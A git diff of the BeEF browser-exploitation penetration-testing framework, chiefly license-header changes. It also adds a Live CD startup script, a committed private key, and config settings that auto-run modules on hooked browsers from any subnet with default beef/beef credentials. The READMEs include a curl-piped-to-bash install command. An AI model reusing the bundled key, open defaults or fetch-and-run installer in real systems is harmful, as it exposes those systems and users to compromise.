diff --git a/BeEFLive.sh b/BeEFLive.sh
new file mode 100644
index 000000000..14fedd039
--- /dev/null
+++ b/BeEFLive.sh
@@ -0,0 +1,110 @@
+#!/bin/bash
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'home/beef/doc/COPYING' for copying permission
+#
+
+
+#
+# This is the auto startup script for the BeEF Live CD.
+# IT SHOULD ONLY BE RUN ON THE LIVE CD
+# Download LiveCD here: https://github.com/beefproject/beef/downloads
+#
+# This script contains a few fixes to make BeEF play nicely with the way
+# remastersys creates the live cd distributable as well as generating host keys
+# to enable SSH etc. The script also make it easy for the user to update/start
+# the BeEF server
+#
+clear
+echo "======================================"
+echo " BeEF Live CD "
+echo "======================================"
+echo ""
+echo "Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net"
+echo "Browser Exploitation Framework (BeEF) - http://beefproject.com"
+echo "See the file 'home/beef/doc/COPYING' for copying permission"
+echo ""
+
+echo "Welcome to the BeEF Live CD"
+echo ""
+echo ""
+
+#
+# Check for SSH Host Keys - if they do not exist ask user if they should be
+# created (remastersys has a habit of deleting them during Live CD Creation)
+#
+f1="/etc/ssh/ssh_host_rsa_key"
+if [ -f $f1 ]
+then
+ echo ""
+else
+ echo -n "Would you like to enable ssh (y/N)? "
+ read var
+
+ if [ $var = "y" ] ; then
+ sudo ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N ''
+ sudo ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N ''
+ echo ""
+ echo "Please provide a password for ssh user: beef"
+ sudo passwd beef
+ echo "ssh enabled"
+ fi
+fi
+echo ""
+
+#
+# Prompt the user if they would like to update BeEF and
+# other components installed (such as sqlmap and msf)
+#
+echo -n "Check and install updates for BeEF (y/N)? "
+read var
+
+if [ $var = "y" ] ; then
+ cd /opt/beef
+ git stash
+ git pull
+fi
+echo ""
+
+echo -n "Check and install updates for msf and sqlmap (y/N)? "
+read var
+
+if [ $var = "y" ] ; then
+ cd /opt/sqlmap
+ git stash
+ git pull
+ cd /opt/metasploit-framework
+ git stash
+ git pull
+fi
+
+
+#
+# Create a shortcut in the user's home folder to BeEF, msf and sqlmap
+# (if they do not yet exist)
+#
+f1="beef"
+if [ -f $f1 ] ; then
+ echo ""
+else
+ ln -s /opt/beef/ beef
+ ln -s /opt/metasploit-framework/ msf
+ ln -s /opt/sqlmap/ sqlmap
+fi
+
+#
+# Prompt the user if they would like start BeEF
+#
+echo -n "Start BeEF (y/N)? "
+read var
+
+if [ $var = "y" ] ; then
+ echo ""
+ echo "Starting BeEF..";
+
+ cd /opt/beef
+ ruby beef -x
+fi
+
+
diff --git a/Gemfile b/Gemfile
index cd4bb331e..06cf6daff 100644
--- a/Gemfile
+++ b/Gemfile
@@ -1,19 +1,9 @@
# BeEF's Gemfile
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# Gems only required on Windows, or with specific Windows issues
@@ -39,6 +29,9 @@ gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
+# notifications
+gem "twitter"
+
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"
diff --git a/INSTALL.txt b/INSTALL.txt
index fcf9719c5..552ccfc6d 100644
--- a/INSTALL.txt
+++ b/INSTALL.txt
@@ -1,18 +1,8 @@
===============================================================================
- Copyright 2012 Wade Alcorn wade@bindshell.net
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
+ Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ Browser Exploitation Framework (BeEF) - http://beefproject.com
+ See the file 'doc/COPYING' for copying permission
===============================================================================
diff --git a/README b/README
index cdca66e3c..e91bcb000 100644
--- a/README
+++ b/README
@@ -1,84 +1,74 @@
-===============================================================================
-
- Copyright 2012 Wade Alcorn wade@bindshell.net
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
-===============================================================================
-
-What is BeEF?
--------------
-
-BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
-
-Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
-
-
-Get Involved
-------------
-
-You can get in touch with the BeEF team. Just check out the following:
-
-
-Please, send us pull requests!
-
-Web: http://beefproject.com/
-
-Mail: beef-subscribe@bindshell.net
-
-IRC: ircs://irc.freenode.net/beefproject
-
-Twitter: @beefproject
-
-
-Requirements
-------------
-
-* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
-* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
-* [SQLite](http://sqlite.org) 3.x
-* The following GEMS:
- - bundler
- - thin
- - Sinatra
- - ANSI
- - TERM-ANSIcolor
- - dm-core
- - json
- - data_objects
- - dm-sqlite-adapter
- - parseconfig
- - erubis
- - dm-migrations
- - msfrpc-client
- - eventmachine
- - win32console (Windows Only)
-
-
-Quick Start
------------
-
-__The following is for the impatient.__
-
-For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
-
- $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
-
-
-Usage
------
-
-To get started, simply execute beef and follow the instrustions:
-
- $ ./beef
-
+===============================================================================
+
+ Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ Browser Exploitation Framework (BeEF) - http://beefproject.com
+ See the file 'doc/COPYING' for copying permission
+
+===============================================================================
+
+What is BeEF?
+-------------
+
+BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
+
+Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
+
+
+Get Involved
+------------
+
+You can get in touch with the BeEF team. Just check out the following:
+
+
+Please, send us pull requests!
+
+Web: http://beefproject.com/
+
+Mail: beef-subscribe@bindshell.net
+
+IRC: ircs://irc.freenode.net/beefproject
+
+Twitter: @beefproject
+
+
+Requirements
+------------
+
+* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
+* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
+* [SQLite](http://sqlite.org) 3.x
+* The following GEMS:
+ - bundler
+ - thin
+ - Sinatra
+ - ANSI
+ - TERM-ANSIcolor
+ - dm-core
+ - json
+ - data_objects
+ - dm-sqlite-adapter
+ - parseconfig
+ - erubis
+ - dm-migrations
+ - msfrpc-client
+ - eventmachine
+ - win32console (Windows Only)
+
+
+Quick Start
+-----------
+
+__The following is for the impatient.__
+
+For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
+
+ $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
+
+
+Usage
+-----
+
+To get started, simply execute beef and follow the instrustions:
+
+ $ ./beef
+
diff --git a/README.mkd b/README.mkd
index 79df0d1af..498d190c9 100644
--- a/README.mkd
+++ b/README.mkd
@@ -1,84 +1,74 @@
-===============================================================================
-
- Copyright 2012 Wade Alcorn wade@bindshell.net
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
-===============================================================================
-
-What is BeEF?
--------------
-
-__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
-
-Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
-
-
-Get Involved
-------------
-
-You can get in touch with the BeEF team. Just check out the following:
-
-
-__Please, send us pull requests!__
-
-__Web:__ http://beefproject.com/
-
-__Mail:__ beef-subscribe@bindshell.net
-
-__IRC:__ ircs://irc.freenode.net/beefproject
-
-__Twitter:__ @beefproject
-
-
-Requirements
-------------
-
-* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
-* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
-* [SQLite](http://sqlite.org) 3.x
-* The following GEMS:
- - bundler
- - thin
- - Sinatra
- - ANSI
- - TERM-ANSIcolor
- - dm-core
- - json
- - data_objects
- - dm-sqlite-adapter
- - parseconfig
- - erubis
- - dm-migrations
- - msfrpc-client
- - eventmachine
- - win32console (Windows Only)
-
-
-Quick Start
------------
-
-__The following is for the impatient.__
-
-For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
-
- $ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
-
-
-Usage
------
-
-To get started, simply execute beef and follow the instructions:
-
- $ ./beef
-
+===============================================================================
+
+ Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ Browser Exploitation Framework (BeEF) - http://beefproject.com
+ See the file 'doc/COPYING' for copying permission
+
+===============================================================================
+
+What is BeEF?
+-------------
+
+__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
+
+Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
+
+
+Get Involved
+------------
+
+You can get in touch with the BeEF team. Just check out the following:
+
+
+__Please, send us pull requests!__
+
+__Web:__ http://beefproject.com/
+
+__Mail:__ beef-subscribe@bindshell.net
+
+__IRC:__ ircs://irc.freenode.net/beefproject
+
+__Twitter:__ @beefproject
+
+
+Requirements
+------------
+
+* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
+* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
+* [SQLite](http://sqlite.org) 3.x
+* The following GEMS:
+ - bundler
+ - thin
+ - Sinatra
+ - ANSI
+ - TERM-ANSIcolor
+ - dm-core
+ - json
+ - data_objects
+ - dm-sqlite-adapter
+ - parseconfig
+ - erubis
+ - dm-migrations
+ - msfrpc-client
+ - eventmachine
+ - win32console (Windows Only)
+
+
+Quick Start
+-----------
+
+__The following is for the impatient.__
+
+For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
+
+ $ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
+
+
+Usage
+-----
+
+To get started, simply execute beef and follow the instructions:
+
+ $ ./beef
+
diff --git a/Rakefile b/Rakefile
index adb1a8d14..d110ed104 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
task :default => ["quick"]
diff --git a/VERSION b/VERSION
index 509c304b2..b4a0a0eda 100644
--- a/VERSION
+++ b/VERSION
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
-0.4.3.5-alpha
+0.4.3.9-alpha
diff --git a/beef b/beef
index 6302be317..b8a1abefe 100755
--- a/beef
+++ b/beef
@@ -1,19 +1,9 @@
#!/usr/bin/env ruby
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# stop deprecation warning from being displayed
@@ -81,7 +71,7 @@ Socket.do_not_reverse_lookup = true
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
- when "mysql","postgres"
+ when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
@@ -124,12 +114,13 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
#@note Starts the WebSocket server
if config.get("beef.http.websocket.enable")
BeEF::Core::Websocket::Websocket.instance
- print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ if config.get("beef.http.websocket.secure")
+ print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
+ end
end
-
-
# @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
@@ -140,7 +131,7 @@ if config.get("beef.extension.console.shell.enable") == true
begin
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
- BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
+ BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
rescue Interrupt
end
else
diff --git a/beef_cert.pem b/beef_cert.pem
new file mode 100644
index 000000000..9ac7ab1ba
--- /dev/null
+++ b/beef_cert.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
+VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
+BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
+bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
+dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
+BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
+MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
+eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
+cml0ZW1lLkJlRUYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALCxzu+rOTt2
+VBM5X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP
+0l+pKgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0Z
+F/0y0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAGjUDBOMB0GA1UdDgQWBBTaXny0
+kTye7CAr0ronsg0ob63+kTAfBgNVHSMEGDAWgBTaXny0kTye7CAr0ronsg0ob63+
+kTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4GBABTy5s/XRd6iBwxOgV6N
+B+cTRgmgHciujbI+0p4TkOkHvQPhhcD3207ndWWwv+Mc2XeQcXNaOfYUDkeCs64N
+JffqThykYOdagvCu1Gecw9BEKeijS9MAuNvtvP7fcUNUql+VeTFbxMBPGDhusafz
+GkY0IBg9+j6XX4JwEXxCGt0a
+-----END CERTIFICATE-----
diff --git a/beef_key.pem b/beef_key.pem
new file mode 100644
index 000000000..1c2fc0ea9
--- /dev/null
+++ b/beef_key.pem
@@ -0,0 +1,16 @@
+-----BEGIN PRIVATE KEY-----
+MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
+X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
+KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
+0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
+HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
+4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
+5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
+26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
+yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
+rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
+AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
+QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
+WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
+yBgay+U9QuoEO425
+-----END PRIVATE KEY-----
diff --git a/config.yaml b/config.yaml
index 41728f809..567ab7b05 100644
--- a/config.yaml
+++ b/config.yaml
@@ -1,35 +1,29 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
- version: '0.4.3.5-alpha'
+ version: '0.4.3.9-alpha'
debug: false
restrictions:
- # subnet of browser ip addresses that can hook to the framework
+ # subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
- # subnet of browser ip addresses that can connect to the UI
+ # subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
-
+
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
+ # Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
+ # It's not advised to decrease it with tons of hooked browsers (more than 50),
+ # because it might impact performance. Also, enable WebSockets is generally better.
+ xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
@@ -42,25 +36,40 @@ beef:
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
- secure: false # use WebSocketSecure
- port: 11989
- alive_timer: 1000 # poll BeEF every second
+ secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
+ port: 61985 # WS: good success rate through proxies
+ secure_port: 61986 # WSSecure
+ ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false
type: "apache" #supported: apache, iis
+ # Experimental HTTPS support for the hook / admin / all other Thin managed web services
+ https:
+ enable: false
+ # In production environments, be sure to use a valid certificate signed for the value
+ # used in beef.http.dns (the domain name of the server where you run BeEF)
+ key: "beef_key.pem"
+ cert: "beef_cert.pem"
+
database:
# For information on using other databases please read the
# README.databases file
# supported DBs: sqlite, mysql, postgres
+ # NOTE: you must change the Gemfile adding a gem require line like:
+ # gem "dm-postgres-adapter"
+ # or
+ # gem "dm-mysql-adapter"
+ # if you want to switch drivers from sqlite to postgres (or mysql).
+ # Finally, run a 'bundle install' command and start BeEF.
driver: "sqlite"
# db_file is only used for sqlite
db_file: "beef.db"
-
+
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_name: "beef"
@@ -73,18 +82,29 @@ beef:
user: "beef"
passwd: "beef"
+ # Autorun modules as soon the browser is hooked.
+ # NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
+ autorun:
+ enable: true
+ # set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
+ allow_user_notify: true
+
crypto_default_value_length: 80
# You may override default extension configuration parameters here
extension:
requester:
- enable: true
+ enable: true
proxy:
- enable: true
+ enable: true
metasploit:
enable: false
- console:
- shell:
- enable: false
+ social_engineering:
+ enable: true
evasion:
enable: false
+ console:
+ shell:
+ enable: false
+ ipec:
+ enable: true
diff --git a/core/api.rb b/core/api.rb
index 0d845d02d..162805b9f 100644
--- a/core/api.rb
+++ b/core/api.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/api/extension.rb b/core/api/extension.rb
index 1358e32d2..87121854c 100644
--- a/core/api/extension.rb
+++ b/core/api/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
diff --git a/core/api/extensions.rb b/core/api/extensions.rb
index 5d5be8cb2..37833042a 100644
--- a/core/api/extensions.rb
+++ b/core/api/extensions.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/main/configuration.rb b/core/api/main/configuration.rb
index d047068a3..119ea40c2 100644
--- a/core/api/main/configuration.rb
+++ b/core/api/main/configuration.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/main/migration.rb b/core/api/main/migration.rb
index 947503c41..298d29148 100644
--- a/core/api/main/migration.rb
+++ b/core/api/main/migration.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/main/network_stack/assethandler.rb b/core/api/main/network_stack/assethandler.rb
index d2dffe0dd..04d96c1c9 100644
--- a/core/api/main/network_stack/assethandler.rb
+++ b/core/api/main/network_stack/assethandler.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/main/server.rb b/core/api/main/server.rb
index 026a1ac5c..7ff96ff24 100644
--- a/core/api/main/server.rb
+++ b/core/api/main/server.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
